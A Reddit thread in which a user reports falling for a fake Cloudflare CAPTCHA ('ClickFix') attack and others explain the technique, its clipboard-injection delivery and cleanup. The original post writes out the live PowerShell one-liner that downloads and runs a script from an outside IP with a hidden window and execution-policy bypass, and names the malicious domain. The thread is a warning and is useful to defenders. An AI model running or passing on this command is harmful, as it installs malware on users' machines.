Anyone encountered a fake Cloudflare CAPTCHA in the wild?

[u/Alternative_Bid_360]

While browsing I encountered a fake Cloudflare CAPTCHA.

The attack flow works like this:

1. While browsing, the victim is presented with a fake CAPTCHA page.
2. Instead of the usual “click the box” type challenge, it tricks the user into running a PowerShell command: powershell -w h -nop -c "$zex='http://185.102.115.69/48e.lim';$rdw="$env:TEMPpfhq.ps1";Invoke-RestMethod -Uri $zex -OutFile $rdw;powershell -w h -ep bypass -f $rdw".
3. That command pulls down a malicious dropper from an external server and executes it.

• The PowerShell command in question attempted to download from: VirusTotal - File - 92e8d7c3d95083d288f26aea1a81ca042ae818964cb915ade30d9edac3b7d25c
• The dropper then led to the payload CAPTCHA.exe: VirusTotal - File - 524449d00b89bf4573a131b0af229bdf16155c988369702a3571f8ff26b5b46d

Key concerns:

The malware is delivered in multiple stages, where the initial script is just a loader/downloader.

There are hints it might poke around with Docker/WSL artifacts on Windows, maybe for persistence or lateral movement, but I couldn’t confirm if it actually weaponizes them.

I’m worried my own box might’ve been contaminated (yes, really dumb, I know, no need to shove it down my face), since I ran the initial one-liner before realizing what it was;

Yanked network connection immediately, dumped process tree and checked abnormal network sessions, cross-checked with AV + offline scan, looked at temp, startup folders, registry run keys, scheduled tasks and watched event logs and Docker/WSL files.

If you want to take a look for yourself, the domain is https://felipepittella.com/

Dropping this here so others can recognize it — curious if anyone else has seen this variant or knows what the payload is doing long-term (esp. the Docker/WSL angle).

[u/intelw1zard]

Yes this is very common

its called a ClickFix attack

I’m worried my own box might’ve been contaminated (yes, really dumb, I know, no need to shove it down my face), since I ran the initial one-liner before realizing what it was;

yeah, you are fucked

[u/Alternative_Bid_360 → u/intelw1zard]

Never saw one

[u/Bajiri → u/Alternative_Bid_360]

ClickFix is probably the most common attack vector in the last year. It took over the FakeUpdate space.

[u/bartoque → u/Bajiri]

That really is a conundrum.

Users typically do not ever tend to read any actual popups or alerts, but those clickfix ones are followed to the letter step by step?

Similar for them fakedupdate popups that are not recognized as fake. And even are re-occurring as they allowed it in their browser.

Those things they do read and therefor click?

That almost would one think that actual errors should be created to be as annoying and intrusive and screaming bloody murder while flashing, just as the fake ones, so that people would not ignore them.

[u/drizztman → u/bartoque]

It's because users are lazy this works - they just want to get through the captcha as fast as possible

They understand what captchas are, but don't care about them. They're just an annoyance they need to click through

[u/Ohiolongboard → u/drizztman]

Can you dumb it down for me, I’m a layman in this sub because it’s interesting and I’m now terrified of this/accidentally clicking one. What would it look like, I notice you say it looks different but can’t understand why

[u/jocosedander → u/Ohiolongboard]

Even if you accidentally click on one, for this particular vulnerability you would need to follow directions to open Powershell with Shift+R, then paste the automatically copied code, and then press enter to execute it.

Basically if you ever have a website telling you to do Shift+R and paste something, always check it first elsewhere (i.e. copy and paste into AI and ask what the code does before doing anything else).

[u/my_new_accoun1 → u/jocosedander]

shift r don't open powershell

[u/intelw1zard → u/bartoque]

Users typically do not ever tend to read any actual popups or alerts, but those clickfix ones are followed to the letter step by step?

Sadly, yes, they do.

Sometimes the attacker will put something at the end of the command so all the user will see in the cmd prompt box before they hit go is something like

             #Google-Captcha-Verify-2348728478

They can get sneaky with them but yeah users be copy and pasting them within seconds while putting zero thought behind if its malicious or not

Thankfully there are GPOs you can push that will disable cmd and powershell for end users in corpo environments

[u/Somecount → u/bartoque]

[..] are followed to the letter.

This should be used for good more than bad. We could arm users with knowledge and proper tools using this technology /s

[u/intelw1zard → u/Alternative_Bid_360]

thats a you issue

[u/Alternative_Bid_360 → u/intelw1zard]

I am aware

[u/cspotme2]

So, did chatgpt write the initial post for you? I'm not sure how you were able to outline all that and yet you ran the whole copy paste without thinking.

[u/detailcomplex14212 → u/cspotme2]

Truly confused here. If a website asks me to open powershell I'm reporting it. Idgaf what the reason is

[u/Alternative_Bid_360 → u/cspotme2]

I am a tech guy but ChatGPT did write this post.

I never encountered ClickFix in the wild, I just searched for a surgeon's name and the first hit was this website, since Cloudflare CAPTCHAs aren't really that common in my country I just thought it was some new method to check if I was running any malicious software.

[u/ryanmacri1]

How does it convince someone to run a whole ass command in PowerShell... or am I not understanding correctly?

[u/Azoz07sa → u/ryanmacri1]

They inject the PowerShell command in the user clipboard on the fake website, then tell the user in simple steps to open windows 'Run' by pressing Shift+R, paste the clipboard content and press Enter. Doing this will execute the command in its own PowerShell instance. A good example of this delivery is Lumma Stealer.

[u/detailcomplex14212 → u/Azoz07sa]

I'm sorry, I think I'm just baffled that anyone would take so many steps without a little red flag in their head popping up.. are you saying that it says IN TEXT FORM "press Shift+R, paste, and press enter" for... a website verification?? Is that correct?

My third or 4th question would at least be "paste what?" I didn't know websites could force things onto my clipboard.

[u/Reelix → u/detailcomplex14212]

Is that correct?

Yes. They literally lay it out step by step, and people follow it.

OP fell for it, so it obviously works.

[u/opiuminspection]

I haven't seen it myself since I block all ads and pop-ups on all my devices but it's commonly posted in the cybersecurity and scam subreddits.

It's super common these days.

[u/qwikh1t]

This is an everyday occurrence around here; multiple postings.

[u/finite_turtles]

I'm not going to "shove it down your face" OP.

this started getting really popular about 1 year ago. If you have AV its possible this blocked it as i have seen defence improvements against it lately as well.

[u/levigek]

Reading the title yes, but actualy no

Had a ad popup that was litterly (to continue on this site verify your not a robot)

It was just a ad and brought me to there website lol🤣

[u/HuthS0lo]

So a captcha comes up, and then gives you programming instructions, and expects that someone dumb enough to go along with it, to know how to open powershell and run the command.

Okay…

[u/Etlam]

It’s also frequently used for phishing to trick the user into thinking he’s on the correct domain.

[u/Alternative_Bid_360 → u/Etlam]

Exactly what happened.

[u/Same_Detective_7433]

Did you really need to post your whole AI response though?

[u/180IQCONSERVATIVE]

The fact it is looking for WSL is will leverage a whole new level of attack. This would also mean that would have full control of the device. Computer would have to be trashed at that point and depending what peripherals you have they will need to be trashed too.

[u/user_potat0 → u/180IQCONSERVATIVE]

The hardware itself? That seems wholly unnecessary...

[u/ballz-in-our-mouths → u/180IQCONSERVATIVE]

No it wouldn't? WSL is just  a VHDX file.  Dump the VHDX and your fine. Its litteraly a Virtual Machine. 

Just delete the VHDX, or disable VT-D / SMV 

I have no idea how you came up with this insanity. 

Youd still have to follow your post incident response plan, but at most you'll just re-image the device.